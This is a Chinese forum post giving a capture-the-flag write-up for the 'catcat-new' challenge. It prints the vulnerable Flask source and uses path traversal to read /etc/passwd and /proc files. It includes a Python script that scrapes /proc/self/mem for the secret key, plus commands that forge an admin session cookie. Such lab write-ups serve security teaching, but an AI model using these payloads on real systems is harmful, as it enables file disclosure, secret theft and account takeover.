【攻防世界】catcat-new

打印 上一主题 下一主题

主题 858|帖子 858|积分 2574

catcat-new

题目来源

攻防世界  NO.GFSJ1168
题解

dirsearch爆破目录,得到http://61.147.171.105:55027/admin,没有有用信息

点开主页的图片,观察URL,尝试读取/etc/passwd,成功,可以读取文件

读取/proc/self/cmdline文件,发现有app.py

/proc/self/cmdline 是一个特殊的文件,它提供了当前进程的命令行参数。例如在kali的shell中读取该文件,则会返回 “zsh"
在上一级路径中读取到app.py

将bytes转换为字符串以便于阅读,得到以下代码
  1. import os
  2. import uuid
  3. from flask import Flask, request, session, render_template, Markup
  4. from cat import cat
  5. flag = ""
  6. app = Flask(
  7. __name__,
  8. static_url_path='/',
  9. static_folder='static'
  10. )
  11. app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
  12. if os.path.isfile("/flag"):
  13. flag = cat("/flag")
  14. os.remove("/flag")
  15. @app.route('/', methods=['GET'])
  16. def index():
  17. detailtxt = os.listdir('./details/')
  18. cats_list = []
  19. for i in detailtxt:
  20. cats_list.append(i[:i.index('.')])
  21. return render_template("index.html", cats_list=cats_list, cat=cat)
  22. @app.route('/info', methods=["GET", 'POST'])
  23. def info():
  24. filename = "./details/" + request.args.get('file', "")
  25. start = request.args.get('start', "0")
  26. end = request.args.get('end', "0")
  27. name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
  28. return render_template("detail.html", catname=name, info=cat(filename, start, end))
  29. @app.route('/admin', methods=["GET"])
  30. def admin_can_list_root():
  31. if session.get('admin') == 1:
  32. return flag
  33. else:
  34. session['admin'] = 0
  35. return "NoNoNo"
  36. if __name__ == '__main__':
  37. app.run(host='0.0.0.0', debug=False, port=5637)
复制代码
通过源码可以看到,我们需要伪造session,让session里admin的值为1,即可访问/admin,拿到flag。要伪造session,我们需要拿到SECRET_KEY,而SECRET_KEY可以从内存数据中获取。
/proc/self/mem中存储着当前进程在内存中的数据,但是该文件无法直接读取,我们需要先通过/proc/self/maps文件得到内存映射所在,然后读取内存数据文件/proc/self/mem。

将读到的maps中的数据保存到test.txt文件中,接下来使用脚本进行mem数据的读取。
以下脚本是网上找到的,我只是添加了一些注释
  1. import re
  2. import requests
  3. maps=open('test.txt')       #test.txt存储/proc/self/maps的内容
  4. b = maps.read()            
  5. list = b.split('\\n')       #以换行符分行
  6. for line in list:
  7.     if 'rw' in line:            #寻找可读写的内存区域
  8.         addr = re.search('([0-9a-f]+)-([0-9a-f]+)',line)
  9.         #正则匹配地址,地址格式为十六进制数[0-9a-f],reserch会返回一个re.Match对象,用括号括起来是为了使用group()处理返回结果。
  10.         #由于每一行会有两个地址,表示一个内存区域,因此addr会有group(1)和group(2)
  11.         start = int(addr.group(1),16)  #将十六进制字符转化为十进制数,为了符合start参数格式参考链接
  12.         end = int(addr.group(2),16)    #将十六进制字符转化为十进制数,为了符合end参数格式
  13.         #这里start和end参数是python读取/proc/self/mem需要用到的参数
  14.         print(start,end)
  15.         url = f"http://61.147.171.105:55174//info?file=../../../proc/self/mem&start={start}&end={end}"
  16.         #使用start和end参数读取mem
  17.         response = requests.get(url)
  18.         secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", response.text)  #uuid4()生成的字符串除去-符号后为固定的32字节(128bit),*abcdefgh为题目源码生成uuid后添加的字符串
  19.         if secret_key:
  20.             print(secret_key)
  21.             break
复制代码
在app.py中可以看到info路由中除了file参数,另有start和end参数,这两个参数就是用来传递读取mem数据时内存地区对应的所在。
运行脚本得到secret_key:8fe482ecf92b4639801ca7312cf5f73a*abcdefgh

使用工具flask_session_cookie_manager伪造session。项目所在:https://github.com/noraj/flask-session-cookie-manager
伪造ssesion需要一个精确的session,将其解密,更改数据后再进行加密
解密
  1. python flask_session_cookie_manager3.py decode -s “secret_key” -c “session”
复制代码
加密
  1. python flask_session_cookie_manager3.py encode -s “secret_key” -t “data”
复制代码
获取session值:eyJhZG1pbiI6MH0.Zl1XPA.8KjQ87LqcrnMb34jRHFIB_il4Y0

伪造session,根据app.py将数据中admin的值改为1

接下来使用伪造的session取代原来的session,访问路由admin,得到flag


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

花瓣小跑

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表